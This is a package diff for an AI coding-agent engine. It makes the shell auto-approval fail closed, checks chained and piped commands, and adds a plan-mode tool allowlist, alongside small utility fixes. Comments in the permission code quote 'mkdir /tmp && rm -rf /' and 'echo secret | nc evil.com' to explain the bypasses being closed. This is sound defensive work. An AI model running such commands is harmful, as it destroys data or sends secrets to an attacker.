@cjhyy/code-shell-core 0.5.0-rc.0 → 0.5.0-rc.2

package/dist/tool-system/permission.js

@@ -37,11 +37,10 @@ export class AutoApprovalBackend {
         if (req.riskLevel === "low") {
             return { approved: true };
         }
-        // Auto-approve common safe patterns
-        if (this.isSafeOperation(req)) {
-            return { approved: true };
-        }
-        // Auto-deny high-risk dangerous commands
+        // Deny gate runs BEFORE the safe-prefix fast-path: a high-risk command
+        // must never be auto-approved just because it begins with a "safe" verb
+        // (e.g. `mkdir /tmp && rm -rf /`). The classifier already flagged it
+        // dangerous; honor that first.
         if (req.riskLevel === "high") {
             if (this.delegate) {
                 return this.delegate.requestApproval(req);
@@ -51,11 +50,22 @@ export class AutoApprovalBackend {
                 reason: "auto mode: high-risk operation denied (no interactive approval available)",
             };
         }
-        // Medium risk: delegate if available, otherwise approve
+        // Auto-approve common safe patterns (only reachable for low/medium risk).
+        if (this.isSafeOperation(req)) {
+            return { approved: true };
+        }
+        // Medium risk that is NOT an established-safe operation: delegate if
+        // available, otherwise fail CLOSED (matching the high-risk branch and the
+        // "auto = approve safe operations only" contract). Auto-approving here
+        // would silently run unvetted commands like `kill`, `npm publish`, or
+        // unknown binaries.
         if (this.delegate) {
             return this.delegate.requestApproval(req);
         }
-        return { approved: true };
+        return {
+            approved: false,
+            reason: "auto mode: medium-risk operation denied (no interactive approval available)",
+        };
     }
     isSafeOperation(req) {
         const { toolName, args } = req;
@@ -67,42 +77,15 @@ export class AutoApprovalBackend {
                 return true;
             }
         }
-        // Safe bash commands
+        // Safe bash commands. Reuse the metacharacter-aware classifier instead of
+        // a naive startsWith() prefix match — the latter only inspects the first
+        // token and is blind to command chaining (`&&`/`||`/`;`), substitution,
+        // redirection, and pipe-to-shell, so `mkdir /tmp && rm -rf /` would slip
+        // through. classifyBashCommand/scanShellCommand handle all of those.
         if (toolName === "Bash") {
             const cmd = String(args.command ?? "");
-            const safePrefixes = [
-                "git ",
-                "npm ",
-                "pnpm ",
-                "yarn ",
-                "npx ",
-                "node ",
-                "tsc ",
-                "eslint ",
-                "prettier ",
-                "vitest ",
-                "jest ",
-                "cargo ",
-                "go ",
-                "python ",
-                "pip ",
-                "make ",
-                "ls ",
-                "cat ",
-                "head ",
-                "tail ",
-                "wc ",
-                "echo ",
-                "mkdir ",
-                "touch ",
-                "pwd",
-                "whoami",
-                "date",
-                "which ",
-            ];
-            if (safePrefixes.some((p) => cmd.startsWith(p))) {
-                return true;
-            }
+            const level = classifyBashCommand(cmd);
+            return level === "safe-read" || level === "safe-write";
         }
         return false;
     }
@@ -455,20 +438,30 @@ function scanShellCommand(input) {
 function classifySegment(segment) {
     if (DANGEROUS_PATTERNS.some((p) => p.test(segment)))
         return "dangerous";
-    if (SAFE_READ_PATTERNS.some((p) => p.test(segment)))
-        return "safe-read";
-    if (SAFE_WRITE_PATTERNS.some((p) => p.test(segment)))
-        return "safe-write";
-    // Pipe handling within a segment: every command in the pipe must
-    // independently classify as safe-read for the segment to count as
-    // safe-read. We did not split on `|` in the scanner because pipes
-    // are not statement boundaries; they're per-segment data flow.
+    // Pipe handling FIRST: every command in the pipe must independently
+    // classify as safe-read for the segment to count as safe-read. This has to
+    // run before the whole-segment SAFE_READ/SAFE_WRITE match below, because
+    // those patterns are head-anchored (e.g. /^echo\s/) and would match
+    // `echo secret | nc evil.com` on its `echo ` head while ignoring the
+    // `| nc ...` exfil tail — declaring a piped-to-network command safe-read.
+    // We did not split on `|` in the scanner because pipes are not statement
+    // boundaries; they're per-segment data flow.
     if (segment.includes("|")) {
+        // A pipe part may be an argument-less command (`ls`, `pwd`) whose trailing
+        // space was stripped along with the `|`. Test each part both as-is (for
+        // `$`-anchored patterns like /^pwd$/) and with a trailing space appended
+        // (for `\s`-delimited patterns like /^ls\s/), so neither form is missed.
         const parts = segment.split("|").map((p) => p.trim());
-        if (parts.every((p) => SAFE_READ_PATTERNS.some((re) => re.test(p)))) {
+        const partIsSafeRead = (p) => SAFE_READ_PATTERNS.some((re) => re.test(p) || re.test(`${p} `));
+        if (parts.every(partIsSafeRead)) {
             return "safe-read";
         }
+        return "unsafe";
     }
+    if (SAFE_READ_PATTERNS.some((p) => p.test(segment)))
+        return "safe-read";
+    if (SAFE_WRITE_PATTERNS.some((p) => p.test(segment)))
+        return "safe-write";
     return "unsafe";
 }
 const SAFETY_RANK = {

package/dist/tool-system/plan-mode-allowlist.d.ts

@@ -0,0 +1,21 @@
+/**
+ * Single source of truth for which tools are permitted in plan mode.
+ *
+ * Two call sites consume this:
+ *   - engine.ts: filters the tool DEFINITIONS shown to the model, so the
+ *     model only sees tools it's allowed to use while planning.
+ *   - executor.ts: gates tool EXECUTION, refusing anything outside the set.
+ *
+ * These two lists used to be maintained separately and drifted (engine had
+ * the Task family + Bash but not TodoWrite; executor had TodoWrite but not the
+ * Task family), so the model could be shown a tool the executor would then
+ * block, or vice-versa. Keep them identical by importing this constant in
+ * both places.
+ *
+ * Membership policy: read-only tools, planning/agent tools, and
+ * non-destructive task-tracking tools. Bash is included so the model sees it;
+ * the executor additionally gates Bash to read-only commands at call time
+ * (see executor.isReadOnlyBashCommand). Write/Edit/ApplyPatch/NotebookEdit and
+ * other mutating tools are intentionally excluded.
+ */
+export declare const PLAN_MODE_ALLOWED_TOOLS: ReadonlySet<string>;

package/dist/tool-system/plan-mode-allowlist.js

@@ -0,0 +1,43 @@
+/**
+ * Single source of truth for which tools are permitted in plan mode.
+ *
+ * Two call sites consume this:
+ *   - engine.ts: filters the tool DEFINITIONS shown to the model, so the
+ *     model only sees tools it's allowed to use while planning.
+ *   - executor.ts: gates tool EXECUTION, refusing anything outside the set.
+ *
+ * These two lists used to be maintained separately and drifted (engine had
+ * the Task family + Bash but not TodoWrite; executor had TodoWrite but not the
+ * Task family), so the model could be shown a tool the executor would then
+ * block, or vice-versa. Keep them identical by importing this constant in
+ * both places.
+ *
+ * Membership policy: read-only tools, planning/agent tools, and
+ * non-destructive task-tracking tools. Bash is included so the model sees it;
+ * the executor additionally gates Bash to read-only commands at call time
+ * (see executor.isReadOnlyBashCommand). Write/Edit/ApplyPatch/NotebookEdit and
+ * other mutating tools are intentionally excluded.
+ */
+export const PLAN_MODE_ALLOWED_TOOLS = new Set([
+    // Plan lifecycle
+    "EnterPlanMode",
+    "ExitPlanMode",
+    // Read-only investigation
+    "Read",
+    "Glob",
+    "Grep",
+    "WebSearch",
+    "WebFetch",
+    // Agent / interaction / discovery
+    "AskUserQuestion",
+    "Agent",
+    "ToolSearch",
+    // Task tracking (non-destructive) — both the TodoWrite and the Task* family
+    "TodoWrite",
+    "TaskCreate",
+    "TaskUpdate",
+    "TaskList",
+    "TaskGet",
+    // Bash: visible to the model; executor gates it to read-only commands.
+    "Bash",
+]);

package/dist/tool-system/registry.js

@@ -101,7 +101,18 @@ export class ToolRegistry {
             ]);
             clearTimeout(timerId);
             parentSignal?.removeEventListener("abort", onParentAbort);
-            return { id, toolName: name, result };
+            // executor 可返回纯字符串,或 { contentBlocks, result? }(view_image
+            // 用后者回传图片块)。归一化成 ToolResult:有 contentBlocks 就带上,
+            // result 始终保留一份文本镜像供 transcript / 摘要使用。
+            if (typeof result === "string") {
+                return { id, toolName: name, result };
+            }
+            return {
+                id,
+                toolName: name,
+                result: result.result ?? "(image)",
+                contentBlocks: result.contentBlocks,
+            };
         }
         catch (err) {
             clearTimeout(timerId);

package/dist/tool-system/validation.d.ts

@@ -1,3 +1,13 @@
+/**
+ * Lightweight tool input validation against a JSON Schema.
+ *
+ * NOT a full JSON-Schema validator: it only checks `required` presence and
+ * top-level primitive types (string/number/boolean). Arrays, objects, enums,
+ * nested shapes, and formats are intentionally NOT validated — this is a
+ * cheap pre-flight guard, not a substitute for the provider's own schema
+ * enforcement. (Was previously labelled "Zod-based" and imported `z`, but
+ * never used zod — corrected to avoid misleading readers.)
+ */
 /**
  * Validate tool args against the tool's inputSchema.
  * Returns null if valid, error string if invalid.

package/dist/tool-system/validation.js

@@ -1,3 +1,13 @@
+/**
+ * Lightweight tool input validation against a JSON Schema.
+ *
+ * NOT a full JSON-Schema validator: it only checks `required` presence and
+ * top-level primitive types (string/number/boolean). Arrays, objects, enums,
+ * nested shapes, and formats are intentionally NOT validated — this is a
+ * cheap pre-flight guard, not a substitute for the provider's own schema
+ * enforcement. (Was previously labelled "Zod-based" and imported `z`, but
+ * never used zod — corrected to avoid misleading readers.)
+ */
 /**
  * Validate tool args against the tool's inputSchema.
  * Returns null if valid, error string if invalid.
@@ -6,14 +16,17 @@ export function validateToolArgs(toolName, args, schema) {
     try {
         const properties = schema.properties;
         const required = schema.required ?? [];
-        if (!properties)
-            return null;
-        // Check required fields
+        // Required-field presence does not depend on `properties` existing — a
+        // schema may declare `required` with no `properties` block (e.g. a
+        // malformed external MCP tool schema). Check it before the properties
+        // guard so missing params are still caught.
         for (const field of required) {
             if (args[field] === undefined || args[field] === null) {
                 return `Missing required parameter: ${field}`;
             }
         }
+        if (!properties)
+            return null; // No property shapes to type-check.
         // Type check each provided field
         for (const [key, value] of Object.entries(args)) {
             const propSchema = properties[key];

package/dist/types.d.ts

@@ -9,6 +9,12 @@ export interface ContentBlock {
     input?: Record<string, unknown>;
     content?: string | ContentBlock[];
     tool_use_id?: string;
+    /**
+     * 标记 tool_result 为出错,让 provider 据此设置 wire 层错误标志
+     * (Anthropic 的 `is_error: true`)。不设的话,出错的工具只会以普通
+     * content 文字回传,模型可能把超时/中断误当成成功。
+     */
+    is_error?: boolean;
     source?: {
         type: "base64";
         media_type: string;
@@ -37,6 +43,13 @@ export interface ToolResult {
     id: string;
     toolName: string;
     result?: string;
+    /**
+     * 结构化结果块(目前仅图片)。存在时优先于 `result` 用作发给 LLM 的
+     * tool_result content —— view_image 用它把本地图片以 image ContentBlock
+     * 回传,让 vision 模型能「看」自己生成的图。非视觉模型由 provider 的
+     * stripVisionFromHistory 自动剥离,所以这里照常带图也安全。
+     */
+    contentBlocks?: ContentBlock[];
     error?: string;
     isError?: boolean;
 }
@@ -57,7 +70,7 @@ export interface RegisteredTool {
      */
     timeoutMs?: number;
 }
-export type TranscriptEventType = "message" | "tool_use" | "tool_result" | "summary" | "content_replace" | "file_history" | "plan_operation" | "session_meta" | "turn_boundary" | "error";
+export type TranscriptEventType = "message" | "tool_use" | "tool_result" | "summary" | "content_replace" | "file_history" | "plan_operation" | "session_meta" | "turn_boundary" | "goal_progress" | "error";
 export interface TranscriptEvent {
     id: string;
     type: TranscriptEventType;
@@ -67,12 +80,16 @@ export interface TranscriptEvent {
 }
 /**
  * Session lifecycle state persisted in state.json. `"active"` means a run is
- * currently in flight (or was, at the moment of the last heartbeat). All other
- * values match the {@link TerminalReason} the last run returned, so callers
- * can distinguish a user-cancelled session (`"aborted_streaming"`) from an
- * actual error (`"model_error"`, `"prompt_too_long"`, ...).
+ * currently in flight (or was, at the moment of the last heartbeat);
+ * `"paused"` is a non-terminal hold (not a {@link TerminalReason}). Every
+ * other value matches the TerminalReason the last run returned, so callers can
+ * distinguish a user-cancelled session (`"aborted_streaming"`) from an actual
+ * error (`"model_error"`, `"prompt_too_long"`, ...).
  */
 export type SessionStatus = "active" | "paused" | TerminalReason;
+/** Which host/context created a session — used by the desktop disk-rebuild to
+ *  filter the sidebar (only `desktop` + `automation` are shown). */
+export type SessionOrigin = "desktop" | "tui" | "automation" | "subagent";
 export interface SessionState {
     sessionId: string;
     cwd: string;
@@ -82,7 +99,18 @@ export interface SessionState {
     tokenUsage: TokenUsage;
     turnCount: number;
     invokedSkills: string[];
-    parentSessionId?: string;
+    /**
+     * Owning parent session for a sub-agent run; `null` explicitly marks a
+     * top-level session (post-create marker). Absent only on legacy sessions
+     * written before this field existed — the desktop disk-rebuild uses
+     * "key present && null" to tell a new top-level session apart from legacy.
+     */
+    parentSessionId?: string | null;
+    /**
+     * Which host/context created this session. Desktop disk-rebuild shows only
+     * `desktop` + `automation`. Absent on legacy sessions.
+     */
+    origin?: SessionOrigin;
     status: SessionStatus;
     /** Short summary derived from the first user message */
     summary?: string;
@@ -159,7 +187,7 @@ export interface TurnResult {
     status: "completed" | "tool_use" | "error" | "max_turns" | "aborted";
     error?: string;
 }
-export type TerminalReason = "completed" | "stop_hook_prevented" | "hook_stopped" | "prompt_too_long" | "model_error" | "aborted_streaming" | "aborted_tools" | "max_turns" | "image_error";
+export type TerminalReason = "completed" | "stop_hook_prevented" | "hook_stopped" | "prompt_too_long" | "model_error" | "aborted_streaming" | "aborted_tools" | "max_turns" | "goal_budget_exhausted" | "image_error";
 export interface TaskInfo {
     id: string;
     subject: string;
@@ -170,6 +198,10 @@ export type StreamEvent = {
     type: "session_started";
     sessionId: string;
     promptTokens: number;
+} | {
+    type: "session_title";
+    sessionId: string;
+    title: string;
 } | {
     type: "stream_request_start";
     turnNumber: number;
@@ -200,6 +232,12 @@ export type StreamEvent = {
     type: "turn_complete";
     reason: TerminalReason;
     agentId?: string;
+} | {
+    type: "goal_progress";
+    status: "not_met" | "met" | "exhausted";
+    round: number;
+    gaps?: string;
+    agentId?: string;
 } | {
     type: "error";
     error: string;
@@ -210,6 +248,7 @@ export type StreamEvent = {
 } | {
     type: "task_update";
     tasks: TaskInfo[];
+    agentId?: string;
 } | {
     type: "thinking_delta";
     text: string;
@@ -219,6 +258,7 @@ export type StreamEvent = {
     agentId: string;
     name?: string;
     description: string;
+    agentType?: string;
 } | {
     type: "agent_end";
     agentId: string;
@@ -226,6 +266,7 @@ export type StreamEvent = {
     description: string;
     text?: string;
     error?: string;
+    agentType?: string;
 } | {
     type: "tool_summary";
     summary: string;
@@ -261,22 +302,27 @@ export type BackgroundAgentCompletedEvent = Extract<StreamEvent, {
     type: "background_agent_completed";
 }>;
 export type StreamCallback = (event: StreamEvent) => void | Promise<void>;
+/**
+ * LLMConfig — model identity only. Everything in this object describes
+ * "which model and how to reach it", nothing about user preferences or
+ * client wiring. Hot-switching models replaces this object wholesale.
+ *
+ * For cross-model preferences (temperature, timeouts, image detail) see
+ * ClientDefaults — those live on the Engine and feed every LLMClient
+ * independently of model identity.
+ */
 export interface LLMConfig {
     provider: string;
     model: string;
     apiKey?: string;
     baseUrl?: string;
-    temperature?: number;
-    topP?: number;
     maxTokens?: number;
-    timeout?: number;
-    retryMaxAttempts?: number;
-    enableStreaming?: boolean;
     /**
-     * Default thinking-mode for DeepSeek V4. Per-call `options.thinking`
-     * (e.g. summarize sub-calls) overrides this. Ignored on other providers.
+     * Default reasoning/thinking setting for this model. Per-call
+     * `options.reasoning` (e.g. summarize sub-calls) overrides this.
+     * Translated to the per-vendor wire form by the client's capability layer.
      */
-    thinking?: "enabled" | "disabled";
+    reasoning?: import("./llm/reasoning-setting.js").ReasoningSetting;
     /**
      * The provider's `kind` (deepseek/openai/zai/openrouter/...). Used by
      * the capability layer to look up per-(kind, model) request-shape rules
@@ -286,6 +332,27 @@ export interface LLMConfig {
      */
     providerKind?: string;
 }
+/**
+ * ClientDefaults — runtime knobs that apply regardless of which model is
+ * active. Settings/UI source these once at boot (or when settings change);
+ * model hot-switching never alters them.
+ *
+ * Anything model-specific belongs in LLMConfig instead.
+ */
+export interface ClientDefaults {
+    /** Sampling temperature. Default 0.3. Per-call options.temperature overrides. */
+    temperature?: number;
+    /** HTTP timeout in ms for LLM requests. Default 120_000. */
+    timeout?: number;
+    /** Max retry attempts for transient errors. Default 3. */
+    retryMaxAttempts?: number;
+    /**
+     * OpenAI-style detail hint sent on every image_url part. Anthropic
+     * ignores this. Defaults to "high" (OpenAI's own default) when
+     * unset; "low" is 85-tokens-per-image fixed.
+     */
+    imageDetail?: "low" | "high" | "original";
+}
 export interface LLMResponse {
     text: string;
     toolCalls: ToolCall[];
@@ -310,6 +377,14 @@ export interface MCPServerConfig {
     url?: string;
     transport?: MCPTransport;
     headers?: Record<string, string>;
+    /**
+     * Toggle a server off without deleting its config (mirrors Codex's
+     * `enabled` field). Absent or `true` → connected; only the literal
+     * `false` disables it. Filtered in MCPManager.connectAll so the
+     * connection is never attempted; the entry stays in settings so the
+     * UI toggle can flip it back on. See connectAll().
+     */
+    enabled?: boolean;
 }
 /**
  * Shell-hook configuration entry from settings.json. Each entry binds

package/dist/utils/format.js

@@ -33,8 +33,10 @@ export function formatDuration(ms, options) {
         if (ms === 0) {
             return '0s';
         }
-        // For durations < 1s, show 1 decimal place (e.g., 0.5s)
-        if (ms < 1) {
+        // For durations < 1s, show 1 decimal place (e.g., 0.5s). This must cover
+        // the whole (0, 1000)ms range — the old `< 1` guard let [1, 1000)ms fall
+        // through to Math.floor(ms/1000) = 0 → a wrong "0s".
+        if (ms < 1000) {
             const s = (ms / 1000).toFixed(1);
             return `${s}s`;
         }

package/dist/utils/lockfile.js

@@ -8,11 +8,18 @@
  * Import this module instead of `proper-lockfile` directly. The underlying
  * package is only loaded the first time a lock function is actually called.
  */
+import { createRequire } from 'node:module';
+// proper-lockfile is CommonJS. This module compiles to ESM (tsc module: ESNext,
+// package "type":"module"), and `require` is NOT a global in ESM — under the
+// Electron main process (an ESM bundle that loads core as an external ESM dep)
+// a bare `require('proper-lockfile')` throws "require is not defined", which
+// surfaced as run locks silently failing ("Run now does nothing"). createRequire
+// gives us a CJS-capable require that works in both ESM and CJS/Bun hosts.
+const nodeRequire = createRequire(import.meta.url);
 let _lockfile;
 function getLockfile() {
     if (!_lockfile) {
-        // eslint-disable-next-line @typescript-eslint/no-require-imports
-        _lockfile = require('proper-lockfile');
+        _lockfile = nodeRequire('proper-lockfile');
     }
     return _lockfile;
 }

package/dist/utils/theme.d.ts

@@ -91,3 +91,9 @@ export declare function getTheme(themeName: ThemeName): Theme;
  * on that terminal we downgrade to the nearest xterm-256 color index instead.
  */
 export declare function themeColorToAnsi(themeColor: string): string;
+/**
+ * Nearest xterm-256 color index for an RGB triple.
+ * Uses the 6×6×6 color cube (indices 16-231) plus the 24-step grayscale ramp
+ * (indices 232-255).
+ */
+export declare function rgbToXterm256(r: number, g: number, b: number): number;

package/dist/utils/theme.js

@@ -527,14 +527,16 @@ export function themeColorToAnsi(themeColor) {
  * Uses the 6×6×6 color cube (indices 16-231) plus the 24-step grayscale ramp
  * (indices 232-255).
  */
-function rgbToXterm256(r, g, b) {
+export function rgbToXterm256(r, g, b) {
     // Grayscale ramp: pick it when all channels are equal-ish
     if (Math.abs(r - g) < 8 && Math.abs(g - b) < 8) {
         if (r < 8)
             return 16;
         if (r > 248)
             return 231;
-        return Math.round((r - 8) / 247 * 24) + 232;
+        // 24 ramp steps (idx 232-255) span RGB [8,248] = 240 units → /240*23.
+        // The old /247*24 produced off-by-one indices.
+        return Math.round((r - 8) / 240 * 23) + 232;
     }
     // 6×6×6 cube
     const ri = Math.round(r / 255 * 5);

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@cjhyy/code-shell-core",
-  "version": "0.5.0-rc.0",
+  "version": "0.5.0-rc.2",
   "description": "Core engine for code-shell — agent orchestration, tool execution, hooks, protocol. UI-agnostic.",
   "type": "module",
   "main": "./dist/index.js",
@@ -34,6 +34,7 @@
     "openai": "^4.82.0",
     "proper-lockfile": "^4.1.2",
     "semver": "^7.7.4",
+    "smol-toml": "^1.6.1",
     "strip-ansi": "^7.2.0",
     "yaml": "^2.7.0",
     "zod": "^3.24.2"